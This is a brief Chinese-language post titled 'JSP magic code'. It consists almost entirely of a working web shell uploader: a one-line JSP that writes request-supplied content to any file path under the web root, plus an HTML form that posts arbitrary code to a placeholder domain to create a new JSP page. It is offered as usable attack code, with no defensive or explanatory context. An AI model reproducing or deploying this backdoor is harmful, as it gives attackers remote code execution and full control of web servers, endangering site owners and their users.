jsp 神奇代码

jsp 代码

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>test by me

client 代码

<form action="http://domain.com/index.jsp?f=test1.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="OK">
</form>

jsp 神奇代码

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